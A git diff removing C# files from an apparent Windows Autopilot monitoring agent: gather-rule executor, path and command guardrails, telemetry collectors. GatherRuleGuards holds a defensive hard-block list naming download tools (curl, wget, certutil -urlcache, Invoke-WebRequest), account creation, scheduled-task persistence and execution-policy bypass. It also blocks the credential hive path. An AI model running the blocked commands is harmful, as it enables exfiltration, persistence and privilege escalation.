(normalizedDir.StartsWith(normalizedBlocked, StringComparison.OrdinalIgnoreCase) && - (normalizedDir.Length == normalizedBlocked.Length || - normalizedDir[normalizedBlocked.Length] == Path.DirectorySeparatorChar)) - { - return false; - } - } - - // In unrestricted mode, everything except hard-blocked paths is allowed - if (unrestrictedMode) - return true; - - foreach (var prefix in AllowedDiagnosticsPathPrefixes) - { - var normalizedPrefix = Path.GetFullPath(prefix); - if (normalizedDir.StartsWith(normalizedPrefix, StringComparison.OrdinalIgnoreCase)) - { - // Segment-bounded: next char must be '\' or end-of-string - if (normalizedDir.Length == normalizedPrefix.Length || - normalizedDir[normalizedPrefix.Length] == Path.DirectorySeparatorChar) - { - return true; - } - } - } - - return false; - } - catch - { - // Any path normalization failure → deny - return false; - } - } - - /// - /// Returns true if the normalized path falls under one of the allowed subdirectories - /// of the detected user profile (AppData\Local, AppData\Roaming). - /// Only applies when %LOGGED_ON_USER_PROFILE% was used to resolve the path. - /// - internal static bool IsUserProfileSubpathAllowed(string normalizedPath, string userProfilePath) - { - if (string.IsNullOrEmpty(userProfilePath)) - return false; - - try - { - var normalizedProfile = Path.GetFullPath(userProfilePath); - foreach (var subdir in AllowedUserProfileSubdirs) - { - var allowedPrefix = Path.GetFullPath(Path.Combine(normalizedProfile, subdir)); - if (normalizedPath.StartsWith(allowedPrefix, StringComparison.OrdinalIgnoreCase) && - (normalizedPath.Length == allowedPrefix.Length || - normalizedPath[allowedPrefix.Length] == Path.DirectorySeparatorChar)) - { - return true; - } - } - } - catch - { - // Path normalization failure — deny - } - - return false; - } - - /// - /// Checks whether any component of the path (directories or file) is a symlink, - /// junction, or other reparse point. Returns true if a reparse point is detected. - /// Fail-closed: returns true on any error. - /// - private static bool IsSymlinkOrReparsePoint(string path) - { - try - { - // Walk up the directory tree checking each component - var current = path; - while (!string.IsNullOrEmpty(current)) - { - var dirInfo = new DirectoryInfo(current); - if (dirInfo.Exists && dirInfo.Attributes.HasFlag(FileAttributes.ReparsePoint)) - return true; - - var parent = Path.GetDirectoryName(current); - if (parent == current) // root reached - break; - current = parent; - } - - // Check the target path itself (if it's a file) - if (File.Exists(path)) - { - var fileInfo = new FileInfo(path); - if (fileInfo.Attributes.HasFlag(FileAttributes.ReparsePoint)) - return true; - } - - return false; - } - catch - { - // Fail-closed: treat errors as suspicious - return true; - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleContext.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleContext.cs deleted file mode 100644 index 687002d8..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleContext.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using System.Collections.Generic; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather -{ - /// - /// Shared dependencies passed to each gather rule collector. - /// - public class GatherRuleContext - { - public AgentLogger Logger { get; } - public string SessionId { get; } - public string TenantId { get; } - public Action OnEventCollected { get; } - public string ImeLogPathOverride { get; } - public LogFilePositionTracker FilePositionTracker { get; } - public bool UnrestrictedMode { get; set; } - - public GatherRuleContext( - AgentLogger logger, - string sessionId, - string tenantId, - Action onEventCollected, - string imeLogPathOverride, - LogFilePositionTracker filePositionTracker) - { - Logger = logger ?? throw new ArgumentNullException(nameof(logger)); - SessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - TenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - OnEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - ImeLogPathOverride = imeLogPathOverride; - FilePositionTracker = filePositionTracker ?? throw new ArgumentNullException(nameof(filePositionTracker)); - } - - /// - /// Emits a security_warning event and returns an empty result dictionary. - /// Called when a gather rule targets a path/query not on the allowlist. - /// - public Dictionary EmitSecurityWarning(GatherRule rule, string collectorType, string target) - { - Logger.Warning($"SECURITY: {collectorType} path blocked by guard: {target} (Rule: {rule.RuleId})"); - - var data = new Dictionary - { - ["blocked"] = true, - ["reason"] = $"{collectorType} target not on allowlist", - ["target"] = target, - ["ruleId"] = rule.RuleId, - }; - - OnEventCollected(new EnrollmentEvent - { - SessionId = SessionId, - TenantId = TenantId, - Timestamp = DateTime.UtcNow, - EventType = "security_warning", - Severity = EventSeverity.Warning, - Source = "GatherRuleExecutor", - Message = $"Blocked {collectorType} target not on allowlist: {target} (Rule: {rule.RuleId})", - Data = data - }); - - return new Dictionary(); - } - - /// - /// Parses a severity string into an EventSeverity enum value. - /// - public static EventSeverity ParseSeverity(string severity) - { - if (string.IsNullOrEmpty(severity)) - return EventSeverity.Info; - - switch (severity.ToLower()) - { - case "debug": return EventSeverity.Debug; - case "info": return EventSeverity.Info; - case "warning": return EventSeverity.Warning; - case "error": return EventSeverity.Error; - case "critical": return EventSeverity.Critical; - default: return EventSeverity.Info; - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleExecutor.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleExecutor.cs deleted file mode 100644 index efeed03b..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleExecutor.cs +++ /dev/null @@ -1,271 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather -{ - /// - /// Executes gather rules received from the backend API - /// Supports registry, eventlog, wmi, file, command_allowlisted, logparser, json, and xml collector types - /// - public class GatherRuleExecutor : IDisposable - { - private readonly AgentLogger _logger; - private readonly GatherRuleContext _context; - private readonly Dictionary _collectors; - - private List _activeRules = new List(); - private readonly Dictionary _intervalTimers = new Dictionary(); - private readonly HashSet _startupRulesExecuted = new HashSet(); - private readonly HashSet _phaseRulesExecuted = new HashSet(); - private CountdownEvent _startupRulesLatch; // non-null only while startup rules are pending - - /// - /// When true, guardrails are relaxed: all registry, WMI, and command targets are allowed. - /// File paths allow everything except C:\Users. Set from tenant configuration. - /// - public bool UnrestrictedMode - { - get { return _context.UnrestrictedMode; } - set { _context.UnrestrictedMode = value; } - } - - public GatherRuleExecutor(string sessionId, string tenantId, Action onEventCollected, - AgentLogger logger, string imeLogPathOverride = null) - { - if (sessionId == null) throw new ArgumentNullException(nameof(sessionId)); - if (tenantId == null) throw new ArgumentNullException(nameof(tenantId)); - if (onEventCollected == null) throw new ArgumentNullException(nameof(onEventCollected)); - if (logger == null) throw new ArgumentNullException(nameof(logger)); - - _logger = logger; - - var filePositionTracker = new LogFilePositionTracker(); - _context = new GatherRuleContext(logger, sessionId, tenantId, onEventCollected, imeLogPathOverride, filePositionTracker); - - // Register all collector strategies - var collectorList = new IGatherRuleCollector[] - { - new RegistryCollector(), - new WmiCollector(), - new CommandCollector(), - new FileCollector(), - new EventLogCollector(), - new LogParserCollector(), - new JsonCollector(), - new XmlCollector(), - }; - - _collectors = new Dictionary(StringComparer.OrdinalIgnoreCase); - foreach (var collector in collectorList) - { - _collectors[collector.CollectorType] = collector; - } - - // Register legacy alias: "command" maps to the same collector as "command_allowlisted" - _collectors["command"] = _collectors["command_allowlisted"]; - } - - /// - /// Updates the active rules and starts/stops execution accordingly - /// - public void UpdateRules(List rules) - { - if (rules == null) - return; - - _logger.Info($"GatherRuleExecutor: updating with {rules.Count} active rules"); - - // Stop existing interval timers - StopAllTimers(); - - _activeRules = rules.Where(r => r.Enabled).ToList(); - - // Execute startup rules — track completion via CountdownEvent so callers can wait - var pendingStartup = _activeRules - .Where(r => r.Trigger == "startup" && !_startupRulesExecuted.Contains(r.RuleId)) - .ToList(); - - if (pendingStartup.Count > 0) - { - _startupRulesLatch?.Dispose(); - _startupRulesLatch = new CountdownEvent(pendingStartup.Count); - - foreach (var rule in pendingStartup) - { - _startupRulesExecuted.Add(rule.RuleId); - ThreadPool.QueueUserWorkItem(_ => - { - try { ExecuteRule(rule); } - finally { _startupRulesLatch?.Signal(); } - }); - } - } - - // Set up interval timers - foreach (var rule in _activeRules.Where(r => r.Trigger == "interval" && r.IntervalSeconds.HasValue)) - { - var interval = TimeSpan.FromSeconds(rule.IntervalSeconds.Value); - var timer = new Timer( - _ => ExecuteRule(rule), - null, - interval, // Initial delay = one interval - interval - ); - _intervalTimers[rule.RuleId] = timer; - _logger.Info($" Interval rule {rule.RuleId} scheduled every {rule.IntervalSeconds}s"); - } - - _logger.Info($"GatherRuleExecutor: {_activeRules.Count(r => r.Trigger == "startup")} startup, " + - $"{_intervalTimers.Count} interval rules active"); - } - - /// - /// Called when a phase change event occurs - executes rules triggered by phase changes - /// - public void OnPhaseChanged(EnrollmentPhase newPhase) - { - var phaseName = newPhase.ToString(); - - foreach (var rule in _activeRules.Where(r => r.Trigger == "phase_change")) - { - if (string.IsNullOrEmpty(rule.TriggerPhase) || - string.Equals(rule.TriggerPhase, phaseName, StringComparison.OrdinalIgnoreCase)) - { - // Deduplicate: only fire once per (ruleId, phase) combination - var deduplicationKey = $"{rule.RuleId}|{phaseName}"; - if (!_phaseRulesExecuted.Add(deduplicationKey)) - { - _logger.Debug($"Phase rule {rule.RuleId} already executed for phase {phaseName}, skipping"); - continue; - } - - _logger.Info($"Phase change triggered rule {rule.RuleId} (phase: {phaseName})"); - ThreadPool.QueueUserWorkItem(_ => ExecuteRule(rule)); - } - } - } - - /// - /// Called when a specific event type is emitted - executes on_event rules - /// - public void OnEvent(string eventType) - { - foreach (var rule in _activeRules.Where(r => r.Trigger == "on_event")) - { - if (string.Equals(rule.TriggerEventType, eventType, StringComparison.OrdinalIgnoreCase)) - { - _logger.Info($"Event triggered rule {rule.RuleId} (event: {eventType})"); - ThreadPool.QueueUserWorkItem(_ => ExecuteRule(rule)); - } - } - } - - private void ExecuteRule(GatherRule rule) - { - try - { - _logger.Info($"Executing gather rule: {rule.RuleId} ({rule.Title})"); - - var collectorType = rule.CollectorType?.ToLower(); - - IGatherRuleCollector collector; - if (collectorType == null || !_collectors.TryGetValue(collectorType, out collector)) - { - _logger.Warning($"Unknown collector type: {rule.CollectorType} for rule {rule.RuleId}"); - return; - } - - Dictionary result = collector.Execute(rule, _context); - - // LogParser (and potentially others) emit events directly and return null - if (result == null) - return; - - if (result.Count > 0) - { - result["ruleId"] = rule.RuleId; - result["ruleTitle"] = rule.Title; - - var eventType = !string.IsNullOrEmpty(rule.OutputEventType) ? rule.OutputEventType : "gather_result"; - - // Allow collectors to override severity via _severityOverride in result - object severityOverride; - EventSeverity severity; - if (result.TryGetValue("_severityOverride", out severityOverride) && severityOverride is string sev) - { - severity = GatherRuleContext.ParseSeverity(sev); - result.Remove("_severityOverride"); - } - else - { - severity = GatherRuleContext.ParseSeverity(rule.OutputSeverity); - } - - _context.OnEventCollected(new EnrollmentEvent - { - SessionId = _context.SessionId, - TenantId = _context.TenantId, - Timestamp = DateTime.UtcNow, - EventType = eventType, - Severity = severity, - Source = "GatherRuleExecutor", - Message = $"Gather: {rule.Title}", - Data = result - }); - } - } - catch (Exception ex) - { - _logger.Warning($"Gather rule {rule.RuleId} failed: {ex.Message}"); - } - } - - private EventSeverity ParseSeverity(string severity) - { - return GatherRuleContext.ParseSeverity(severity); - } - - private void StopAllTimers() - { - foreach (var timer in _intervalTimers.Values) - { - timer.Dispose(); - } - _intervalTimers.Clear(); - } - - /// - /// Blocks until all startup rules that were queued by the most recent - /// call have finished executing, or the timeout elapses. - /// Returns true if all rules completed within the timeout; false if timed out. - /// - public bool WaitForStartupRules(int timeoutSeconds = 120) - { - var latch = _startupRulesLatch; - if (latch == null) - return true; // no startup rules were queued - - _logger.Debug($"WaitForStartupRules: waiting up to {timeoutSeconds}s for startup rules to complete..."); - var completed = latch.Wait(TimeSpan.FromSeconds(timeoutSeconds)); - _logger.Debug($"WaitForStartupRules: {(completed ? "all rules completed" : "timed out")}"); - return completed; - } - - public void Dispose() - { - StopAllTimers(); - _startupRulesLatch?.Dispose(); - _startupRulesLatch = null; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleGuards.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleGuards.cs deleted file mode 100644 index 5ab543e8..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/GatherRuleGuards.cs +++ /dev/null @@ -1,292 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Reflection; -using Newtonsoft.Json.Linq; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather -{ - /// - /// Privacy and security guards for GatherRule collectors. - /// - /// All allowlists are loaded from the embedded guardrails.json resource - /// (source of truth: rules/guardrails.json). They restrict data collection - /// to enrollment-relevant information only. Rules targeting paths, queries, - /// or commands outside these lists are blocked and reported as security_warning events. - /// - /// To allow additional paths: edit rules/guardrails.json and run - /// node rules/scripts/combine.js to regenerate all derived files. - /// - /// Segment-bounded matching is used: the path must match the prefix exactly - /// up to a path separator or end of string, preventing prefix spoofing. - /// Registry paths are expected without the hive prefix (e.g. "SOFTWARE\\Microsoft\\..." not "HKLM\\..."). - /// File paths should be expanded (no environment variables). - /// Commands must match exactly (trimmed) — no prefix matching for security. - /// - public static class GatherRuleGuards - { - // ----------------------------------------------------------------------- - // Loaded from embedded guardrails.json - // ----------------------------------------------------------------------- - public static readonly IReadOnlyList AllowedRegistryPrefixes; - public static readonly IReadOnlyList AllowedFilePrefixes; - public static readonly IReadOnlyList AllowedWmiQueryPrefixes; - public static readonly IReadOnlyCollection AllowedCommands; - - // Hard blocks: never allowed, even in unrestricted mode - private static readonly string BlockedUsersPrefix = Path.GetFullPath(@"C:\Users"); - private static readonly string[] AdditionalHardBlockedPathPrefixes = new[] - { - Path.GetFullPath(@"C:\Windows\System32\config"), // SAM, SECURITY, SYSTEM hives - }; - - // Allowed subdirectories under a user profile (used with %LOGGED_ON_USER_PROFILE% token) - private static readonly string[] AllowedUserProfileSubdirs = new[] - { - @"AppData\Local", - @"AppData\Roaming", - }; - - // Hard limit: maximum command length (even in unrestricted mode) - private const int MaxCommandLength = 2000; - - // Hard-blocked command patterns: never allowed, even in unrestricted mode. - // These prevent privilege escalation, persistence, and data exfiltration. - private static readonly string[] HardBlockedCommandPatterns = new[] - { - // Download / exfiltration - "Invoke-WebRequest", "Invoke-RestMethod", "Start-BitsTransfer", - "wget", "curl", "certutil -urlcache", - // User / group manipulation - "New-LocalUser", "Add-LocalGroupMember", "net user", "net localgroup", - // Boot configuration - "bcdedit", "bcdboot", - // Persistence mechanisms - "schtasks /create", "Register-ScheduledTask", - // Destructive operations - "Remove-Item -Recurse", "Format-Volume", - // Execution policy bypass - "Set-ExecutionPolicy", - }; - - static GatherRuleGuards() - { - try - { - var json = LoadEmbeddedGuardrails(); - if (json != null) - { - var obj = JObject.Parse(json); - - AllowedRegistryPrefixes = FlattenCategorized(obj, "registryPrefixes", "prefixes"); - AllowedFilePrefixes = obj["filePrefixes"]?.ToObject>() ?? new List(); - AllowedWmiQueryPrefixes = obj["wmiQueryPrefixes"]?.ToObject>() ?? new List(); - - var commands = FlattenCategorized(obj, "allowedCommands", "commands"); - AllowedCommands = new HashSet(commands, StringComparer.OrdinalIgnoreCase); - return; - } - } - catch - { - // Fallback to empty lists on parse error — agent will block everything - // and emit security_warning events, making the issue visible. - } - - AllowedRegistryPrefixes = new List(); - AllowedFilePrefixes = new List(); - AllowedWmiQueryPrefixes = new List(); - AllowedCommands = new HashSet(StringComparer.OrdinalIgnoreCase); - } - - private static string LoadEmbeddedGuardrails() - { - var assembly = Assembly.GetExecutingAssembly(); - using (var stream = assembly.GetManifestResourceStream( - "AutopilotMonitor.Agent.Core.Resources.guardrails.json")) - { - if (stream == null) - return null; - using (var reader = new StreamReader(stream)) - { - return reader.ReadToEnd(); - } - } - } - - /// - /// Flattens a categorized array structure like - /// [{ "category": "...", "prefixes": ["a","b"] }, ...] into ["a","b",...]. - /// - private static List FlattenCategorized(JObject root, string arrayProp, string itemsProp) - { - var result = new List(); - var arr = root[arrayProp] as JArray; - if (arr == null) return result; - - foreach (var group in arr) - { - var items = group[itemsProp] as JArray; - if (items == null) continue; - foreach (var item in items) - { - var val = item.Value(); - if (!string.IsNullOrEmpty(val)) - result.Add(val); - } - } - return result; - } - - // ----------------------------------------------------------------------- - // Guard methods - // ----------------------------------------------------------------------- - - /// - /// Returns true if the registry subPath (hive stripped) matches an allowed prefix - /// with segment-bounded matching (next char must be '\' or end of string). - /// - public static bool IsRegistryPathAllowed(string subPath) - => IsRegistryPathAllowed(subPath, unrestrictedMode: false); - - /// - /// Returns true if the registry subPath is allowed. - /// When unrestrictedMode is true, all registry paths are allowed. - /// - public static bool IsRegistryPathAllowed(string subPath, bool unrestrictedMode) - { - if (string.IsNullOrEmpty(subPath)) - return false; - - if (unrestrictedMode) - return true; - - return AllowedRegistryPrefixes.Any(prefix => - subPath.StartsWith(prefix, StringComparison.OrdinalIgnoreCase) && - (subPath.Length == prefix.Length || subPath[prefix.Length] == '\\')); - } - - /// - /// Returns true if the expanded file path matches an allowed prefix - /// with segment-bounded matching and path normalization to prevent traversal. - /// - public static bool IsFilePathAllowed(string expandedPath) - => IsFilePathAllowed(expandedPath, unrestrictedMode: false, userProfilePath: null); - - /// - /// Returns true if the expanded file path is allowed. - /// When unrestrictedMode is true, all paths are allowed except C:\Users (privacy protection). - /// Path normalization and traversal protection always apply regardless of mode. - /// - public static bool IsFilePathAllowed(string expandedPath, bool unrestrictedMode) - => IsFilePathAllowed(expandedPath, unrestrictedMode, userProfilePath: null); - - /// - /// Returns true if the expanded file path is allowed. - /// When userProfilePath is provided (from %LOGGED_ON_USER_PROFILE% token), paths under - /// the user's AppData\Local and AppData\Roaming are additionally allowed. - /// - public static bool IsFilePathAllowed(string expandedPath, bool unrestrictedMode, string userProfilePath) - { - if (string.IsNullOrEmpty(expandedPath)) - return false; - - string normalizedPath; - try - { - normalizedPath = Path.GetFullPath(expandedPath); - } - catch - { - return false; - } - - // C:\Users block always applies (even in unrestricted mode) - // Exception: paths under \AppData\Local or AppData\Roaming - // are allowed when the %LOGGED_ON_USER_PROFILE% token was used. - if (normalizedPath.StartsWith(BlockedUsersPrefix, StringComparison.OrdinalIgnoreCase) && - (normalizedPath.Length == BlockedUsersPrefix.Length || - normalizedPath[BlockedUsersPrefix.Length] == Path.DirectorySeparatorChar)) - { - if (!DiagnosticsPathGuards.IsUserProfileSubpathAllowed(normalizedPath, userProfilePath)) - return false; - } - - // Additional hard-blocked paths (even in unrestricted mode) - foreach (var blocked in AdditionalHardBlockedPathPrefixes) - { - if (normalizedPath.StartsWith(blocked, StringComparison.OrdinalIgnoreCase) && - (normalizedPath.Length == blocked.Length || - normalizedPath[blocked.Length] == Path.DirectorySeparatorChar)) - { - return false; - } - } - - if (unrestrictedMode) - return true; - - return AllowedFilePrefixes.Any(prefix => - normalizedPath.StartsWith(prefix, StringComparison.OrdinalIgnoreCase) && - (normalizedPath.Length == prefix.Length || normalizedPath[prefix.Length] == '\\')); - } - - /// - /// Returns true if the WMI query (trimmed) matches an allowed prefix - /// with boundary matching (next char must be whitespace or end of string). - /// - public static bool IsWmiQueryAllowed(string query) - => IsWmiQueryAllowed(query, unrestrictedMode: false); - - /// - /// Returns true if the WMI query is allowed. - /// When unrestrictedMode is true, all WMI queries are allowed. - /// - public static bool IsWmiQueryAllowed(string query, bool unrestrictedMode) - { - if (string.IsNullOrEmpty(query)) - return false; - - if (unrestrictedMode) - return true; - - var trimmed = query.Trim(); - return AllowedWmiQueryPrefixes.Any(prefix => - trimmed.StartsWith(prefix, StringComparison.OrdinalIgnoreCase) && - (trimmed.Length == prefix.Length || char.IsWhiteSpace(trimmed[prefix.Length]))); - } - - /// - /// Returns true if the command (trimmed) exactly matches an entry in the allowlist. - /// Exact matching is intentional — no prefix spoofing possible. - /// - public static bool IsCommandAllowed(string command) - => IsCommandAllowed(command, unrestrictedMode: false); - - /// - /// Returns true if the command is allowed. - /// When unrestrictedMode is true, all commands are allowed. - /// - public static bool IsCommandAllowed(string command, bool unrestrictedMode) - { - if (string.IsNullOrEmpty(command)) - return false; - - // Hard guards apply even in unrestricted mode - if (command.Length > MaxCommandLength) - return false; - - foreach (var blocked in HardBlockedCommandPatterns) - { - if (command.IndexOf(blocked, StringComparison.OrdinalIgnoreCase) >= 0) - return false; - } - - if (unrestrictedMode) - return true; - - return AllowedCommands.Contains(command.Trim()); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/IGatherRuleCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/IGatherRuleCollector.cs deleted file mode 100644 index 40824e32..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Gather/IGatherRuleCollector.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Collections.Generic; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather -{ - /// - /// Strategy interface for individual gather rule collector implementations. - /// - public interface IGatherRuleCollector - { - string CollectorType { get; } - Dictionary Execute(GatherRule rule, GatherRuleContext context); - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/AgentSelfMetricsCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/AgentSelfMetricsCollector.cs deleted file mode 100644 index 96a0f8da..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/AgentSelfMetricsCollector.cs +++ /dev/null @@ -1,159 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Periodic -{ - /// - /// Measures the agent's own resource footprint: process CPU, memory, threads, handles, - /// and HTTP network traffic. Emits agent_metrics_snapshot events via the standard event pipeline. - /// No WMI, no PerformanceCounters — only Process properties and Interlocked counters. - /// - public class AgentSelfMetricsCollector : CollectorBase - { - private readonly string _agentVersion; - private readonly NetworkMetrics _networkMetrics; - private readonly EventSpool _spool; - - // Previous sample for delta calculations - private TimeSpan _prevCpuTime; - private DateTime _prevWallTime; - private NetworkMetricsSnapshot _prevNetSnapshot; - - public AgentSelfMetricsCollector( - string sessionId, - string tenantId, - Action onEventCollected, - NetworkMetrics networkMetrics, - EventSpool spool, - AgentLogger logger, - string agentVersion = "unknown", - int intervalSeconds = 60) - : base(sessionId, tenantId, onEventCollected, logger, intervalSeconds) - { - _networkMetrics = networkMetrics ?? throw new ArgumentNullException(nameof(networkMetrics)); - _spool = spool; - _agentVersion = string.IsNullOrWhiteSpace(agentVersion) ? "unknown" : agentVersion; - } - - protected override void OnBeforeStart() - { - // Prime the baseline for delta calculations - try - { - var proc = Process.GetCurrentProcess(); - _prevCpuTime = proc.TotalProcessorTime; - _prevWallTime = DateTime.UtcNow; - } - catch (Exception ex) - { - Logger.Warning($"Failed to prime CPU baseline: {ex.Message}"); - _prevCpuTime = TimeSpan.Zero; - _prevWallTime = DateTime.UtcNow; - } - _prevNetSnapshot = _networkMetrics.GetSnapshot(); - } - - protected override void Collect() - { - var data = new Dictionary - { - { "agent_version", _agentVersion } - }; - var now = DateTime.UtcNow; - - // --- Process metrics (no WMI, no PerformanceCounter) --- - try - { - var proc = Process.GetCurrentProcess(); - proc.Refresh(); // ensure fresh values - - // CPU %: (delta CPU time) / (delta wall time) / cores * 100 - var currentCpuTime = proc.TotalProcessorTime; - var cpuDelta = currentCpuTime - _prevCpuTime; - var wallDelta = now - _prevWallTime; - - if (wallDelta.TotalMilliseconds > 0) - { - var cpuPercent = cpuDelta.TotalMilliseconds / wallDelta.TotalMilliseconds - / Environment.ProcessorCount * 100.0; - data["agent_cpu_percent"] = Math.Round(cpuPercent, 2); - } - - _prevCpuTime = currentCpuTime; - _prevWallTime = now; - - // Memory - data["agent_working_set_mb"] = Math.Round(proc.WorkingSet64 / (1024.0 * 1024), 1); - data["agent_private_bytes_mb"] = Math.Round(proc.PrivateMemorySize64 / (1024.0 * 1024), 1); - - // Threads & handles - data["agent_thread_count"] = proc.Threads.Count; - data["agent_handle_count"] = proc.HandleCount; - } - catch (Exception ex) - { - Logger.Debug($"Process metrics read failed: {ex.Message}"); - } - - // --- Spool queue depth --- - if (_spool != null) - { - try { data["spool_queue_depth"] = _spool.GetCount(); } - catch { } - } - - // --- Network delta --- - try - { - var currentNet = _networkMetrics.GetSnapshot(); - var delta = currentNet.DeltaFrom(_prevNetSnapshot); - _prevNetSnapshot = currentNet; - - data["net_requests"] = delta.Requests; - data["net_failures"] = delta.Failures; - data["net_bytes_up"] = delta.BytesUp; - data["net_bytes_down"] = delta.BytesDown; - data["net_avg_latency_ms"] = Math.Round(delta.AvgLatencyMs, 1); - - // Cumulative totals for easy "total cost of this session" view - data["net_total_bytes_up"] = currentNet.TotalBytesUp; - data["net_total_bytes_down"] = currentNet.TotalBytesDown; - data["net_total_requests"] = currentNet.RequestCount; - } - catch (Exception ex) - { - Logger.Debug($"Network metrics read failed: {ex.Message}"); - } - - if (data.Count > 0) - { - EmitEvent(new EnrollmentEvent - { - SessionId = SessionId, - TenantId = TenantId, - Timestamp = now, - EventType = "agent_metrics_snapshot", - Severity = EventSeverity.Debug, - Source = "AgentSelfMetricsCollector", - Phase = EnrollmentPhase.Unknown, - Message = $"Agent CPU: {(data.ContainsKey("agent_cpu_percent") ? data["agent_cpu_percent"] : "?")}%, " + - $"WS: {(data.ContainsKey("agent_working_set_mb") ? data["agent_working_set_mb"] : "?")} MB, " + - $"Net: {(data.ContainsKey("net_requests") ? data["net_requests"] : "?")} req, " + - $"\u2191{(data.ContainsKey("net_bytes_up") ? data["net_bytes_up"] : "?")} B, " + - $"\u2193{(data.ContainsKey("net_bytes_down") ? data["net_bytes_down"] : "?")} B", - Data = data - }); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/DeliveryOptimizationCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/DeliveryOptimizationCollector.cs deleted file mode 100644 index 1496a4e4..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/DeliveryOptimizationCollector.cs +++ /dev/null @@ -1,490 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Management.Automation; -using System.Management.Automation.Runspaces; -using System.Text; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; -using Newtonsoft.Json.Linq; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Periodic -{ - /// - /// Polls OS-level Delivery Optimization status via a persistent PowerShell Runspace. - /// Matches DO entries to tracked IME app downloads using the intunewin-bin FileId format. - /// Emits download_progress events on every poll (for live UI) and do_telemetry once per app - /// when the download completes. - /// - /// Lifecycle: starts dormant, wakes up when ImeLogTracker detects a download, - /// goes dormant again when all downloads are enriched. - /// - public class DeliveryOptimizationCollector : CollectorBase - { - private const string LogFileName = "do-status.jsonl"; - private const int InvokeTimeoutMs = 5000; - - private readonly Func _getPackageStates; - private readonly Action _onDoTelemetryReceived; - private readonly string _logFilePath; - - private Runspace _runspace; - private bool _permanentlyDisabled; - private int _consecutiveErrors; - private volatile bool _dormant = true; - private int _collecting; // concurrency guard (0 = idle, 1 = collecting) - - // Track which apps we already sent final do_telemetry for (prevents duplicate callbacks) - private readonly HashSet _enrichedAppIds = new HashSet(StringComparer.OrdinalIgnoreCase); - - // Change detection per app: only emit download_progress when bytes actually changed - private readonly Dictionary _lastBytesPerApp = new Dictionary(StringComparer.OrdinalIgnoreCase); - - // Change detection for JSONL log: only write when overall state changed - private 